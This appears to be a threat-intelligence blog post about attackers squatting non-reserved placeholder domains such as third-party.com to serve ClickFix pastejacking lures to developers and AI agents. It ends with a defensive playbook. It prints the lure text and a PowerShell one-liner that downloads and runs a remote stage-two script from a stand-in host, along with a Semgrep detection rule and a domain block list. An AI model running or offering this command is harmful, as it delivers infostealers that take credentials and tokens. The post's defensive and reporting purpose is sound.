Date: September 26, 2026
Author: Threat Research & Intelligence Team, Digital Spying
Category: Software Supply Chain Security / Developer Tooling / Social Engineering & ClickFix
Tags: ClickFix, third-party.com, Supply Chain, Documentation Poisoning, Pastejacking, RFC 2606, Developer Security
Executive Summary
In a brilliant yet disturbing demonstration of software supply-chain poisoning, security researchers at Manifold Security revealed that threat actors have acquired and weaponized third-party[.]com—a domain ubiquitously referenced for years across technical documentation, developer tutorials, and software test suites as a generic example URL. As detailed by The Hacker News and confirmed by Malwarebytes, the domain is now actively serving ClickFix (pastejacking) malware lures to Windows developers while serving benign decoys or scareware to other operating systems.
Unlike example.com, example.org, or example.net—which are legally and technically reserved in perpetuity by the Internet Assigned Numbers Authority (IANA) under RFC 2606—third-party[.]com was never officially reserved. A search across public software registries revealed that the domain is hardcoded as an example endpoint in over 1,700 public GitHub repositories, including enterprise software development kits (SDKs), Model Context Protocol (MCP) server definitions, and autonomous AI agent skill libraries.
Whenever a software engineer, systems administrator, or autonomous AI agent clicks an example link or queries an API endpoint copied from developer documentation, they are routed directly into an attacker-controlled watering hole designed to hijack Windows clipboards and execute malicious PowerShell commands. Furthermore, researchers uncovered at least 13 additional non-reserved placeholder domains (such as your-domain.com, yoursite.com, and mycompany.com) that are actively being squatted to deliver scareware, credential harvesters, and financial scams.
Technical Deep-Dive: From Documentation Placeholder to Remote Code Execution
The weaponization of third-party[.]com combines legacy RFC misunderstandings with modern social engineering tradecraft:+-----------------------------------------------------------------------------------+
| THE PLACEHOLDER TRAP EXPLOITATION FLOW |
|---|
Developer / AI Agent Workspace
|
| 1. Reads Developer Docs, API Reference, or AI Skill Repo:
| `curl -X POST https://third-party.com/v1/auth -d ...`
| (Believed to be a harmless, inactive placeholder)
|
| 2. Developer clicks link or tests endpoint in browser
v
[Network Ingress: third-party.com (Attacker Controlled Host)]
|
| 3. Client Fingerprinting & OS Detection:
|
+---------------------------------------+---------------------------------------+
| |
v [WINDOWS BROWSER PATH] v [MACOS / LINUX PATH]
4a. Serves Fake Cloudflare CAPTCHA Lure 4b. Serves OS Decoy / Scareware
"Verification Required: Press Win+R, Paste & Enter" "macOS is not supported. This website
| requires a Windows PC to access."
v |
5a. Clipboard Hijacking (Pastejacking): v
- JavaScript injects hidden payload into clipboard: [Avoids analysis on non-target platforms]
`powershell.exe -w hidden -enc [BASE64_LOADER]`
|
v
6a. Developer executes Run Command (`Win + R` -> `Ctrl + V` -> `Enter`):
- PowerShell executes in user context
- Fetches secondary infostealer payload from C2
- Steals SSH keys, AWS credentials, and browser cookies!
1. The Root Cause: The RFC 2606 / RFC 6761 Blind Spot
In 1999, the Internet Engineering Task Force (IETF) published RFC 2606 (Reserved Top Level DNS Names), followed by RFC 6761, establishing specific domains reserved for documentation and testing:
* .example, .invalid, .localhost, .test
* example.com, example.org, example.net, example.edu
These specific domains cannot be registered by private individuals and are guaranteed to resolve harmlessly.
However, over decades of software development, technical writers and engineers frequently substituted informal, plausible-sounding placeholder strings into code samples:
* third-party.com
* mycompany.com
* your-api.com
* acme.com
Because these domains were not IANA-reserved, they remained subject to public domain availability and expiration. Threat actors recognized that buying a single lapsed placeholder domain immediately inherits the inbound traffic and trust of thousands of legacy codebases.
2. User-Agent Fingerprinting and the ClickFix Mechanism
When a visitor connects to third-party[.]com, the server evaluates the client’s HTTP User-Agent and browser environment:
* Target Filtering: The threat actors specifically target Windows enterprise developers.
* The ClickFix Lure: Windows visitors are presented with a pixel-perfect, fake Cloudflare "Verify you are human" challenge. A modal alert announces:"Verification failed. To verify your browser integrity, press Windows Key + R, press Ctrl + V to paste the verification string, and hit Enter."
* Pastejacking: The webpage utilizes the browser’s navigator.clipboard.writeText() API (or invisible zero-width DOM selection tricks) to silently overwrite the user’s operating system clipboard.
The clipboard payload is an obfuscated PowerShell one-liner:l
powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "iex (New-Object Net.WebClient).DownloadString('https://attacker-cdn.net/stage2.ps1')"
When the user innocently pastes what they assume is a captcha verification token into the Windows Run box, Windows executes the command immediately with the user's active permissions. The second-stage payload deploys infostealers (such as Lumma, Stealc, or Vidar) that scrape GitHub tokens, AWS credentials, `.gitconfig`, and browser credentials.
3. Evading Static Code Audits and CI/CD Scanners
Ax Sharma, Head of Research at Manifold Security, highlighted why this attack vector blindfolds enterprise AppSec defenses:
> *"You can scan the skill, read the file, resolve the domain from your analysis box, and conclude it is fine, and be completely wrong about what a Windows user's agent receives when it follows the same link. A file scan cannot see what a website decides to send. The tell only appears at request time, from the caller that matters."*
Because developer documentation and static code files simply list the text string `https://third-party.com`, static application security testing (SAST) tools and linter rules evaluate the file as clean. The malicious execution occurs entirely out-of-band at runtime.
Expanding the Threat Surface: The 13 Dangerous Placeholders
Manifold Security's investigation revealed that `third-party.com` is not an isolated incident. Researchers cataloged 13 additional non-reserved placeholder domains commonly found in open-source repositories and AI agent skills that have been squatted by malicious actors:
| Domain | Observed Attack Vector | Exposure Scope in Public Repositories |
| :--- | :--- | :--- |
| `third-party[.]com` | ClickFix Windows Pastejacking / Infostealer Delivery | 1,700+ GitHub repositories; AI MCP skills |
| `your-domain[.]com` | Fake "MacOS Security Center" Scareware & Counterfeit AV | Hundreds of thousands of files across GitHub |
| `yoursite[.]com` | Investment Fraud & Counterfeit Media Outlets | Hundreds of thousands of documentation files |
| `yourdomain[.]com` | Suspicious Ad-Redirects & Traffic Monetization | High-density in CMS and theme templates |
| `your-site[.]com` | Domain Parking / Malvertising Ingress | Web development tutorials & code examples |
| `your-app[.]com` & `yourapp[.]com` | Phishing Staging / Credential Harvesting | Mobile SDK and API starter kits |
| `myapp[.]com` & `mysite[.]com` | Squatted Ad-Networks & Exploit Kits | Web framework boilerplates & starter apps |
| `mycompany[.]com` & `company[.]com` | Enterprise Phishing & BEC Lures | Enterprise HR/SSO example configurations |
| `acme[.]com` & `vendor[.]com` | Commercial Domain Squatting / Malvertising | Distributed across thousands of vendor SDKs |
| `foo[.]com` | Lapsed Domain Hijacking | Programming language exercises & tutorials |
Defensive Engineering Playbook: Eliminating Placeholder Vulnerabilities
Engineering leaders, documentation maintainers, and security teams must implement strict hygiene to neutralize placeholder supply-chain attacks:
1. Enforce Strict Compliance with RFC 2606 in Codebases
* Mandate Reserved TLDs: Strictly prohibit the use of arbitrary domain strings in documentation, test suites, and sample code. Mandate the exclusive use of IANA-reserved domains:
* `example.com`
* `example.org`
* `example.net`
* Or local non-resolvable TLDs: `.example`, `.test`, `.invalid`, `.localhost`
* Automated CI/CD Linting: Implement pre-commit hooks and CI/CD linters (such as custom Semgrep or regex rules) to flag and block commits containing non-reserved placeholder domains:
```yaml
Sample Semgrep Rule: Detect Unsafe Placeholder Domains
rules:
- id: unsafe-placeholder-domain
patterns:
- pattern-regex: 'https?://(third-party|your-domain|yoursite|yourdomain|your-app|yourapp|myapp|mysite|mycompany)\.com'
message: "Unsafe placeholder domain detected! Use RFC 2606 reserved domains like example.com."
severity: ERROR
2. Network and DNS Perimeter Filtering
* Block Known Malicious Placeholders at the DNS Resolver: Add third-party[.]com, your-domain[.]com, and related squatted domains to enterprise DNS sinkholes (Pi-hole, Cisco Umbrella, Cloudflare Gateway, NextDNS).
* Endpoint Web Filtering: Ensure enterprise browser protection blocks domains flagged with newly registered or categorized as malicious social engineering.
3. Security Awareness: Deconstructing the ClickFix Lure
* Never Run Clipboard Commands: Educate developers that legitimate authentication portals and CAPTCHA providers (Cloudflare Turnstile, reCAPTCHA, Google) will never require running terminal commands or PowerShell scripts via the Windows Run dialog (Win + R).
4. AI Agent & MCP Skill Sanitization
* Organizations utilizing autonomous AI coding agents (Claude Code, GitHub Copilot, Gemini CLI) or Model Context Protocol (MCP) servers must audit skill files and tool definitions. Ensure agent prompt instructions and tool schemas do not point autonomous agents toward live attacker-controlled domains.
Conclusion
The hijacking of third-party.com proves that adversaries are weaponizing the collective trust of developer documentation. By turning innocent code samples into active delivery mechanisms for infostealers, attackers have bypassed traditional static code analysis entirely. The solution requires a return to foundational Internet standards: developers and technical writers must strictly adhere to RFC 2606 and treat every non-reserved domain as potential enemy territory.
For continuous coverage of software supply chain threats and developer security, visit Digital Spying.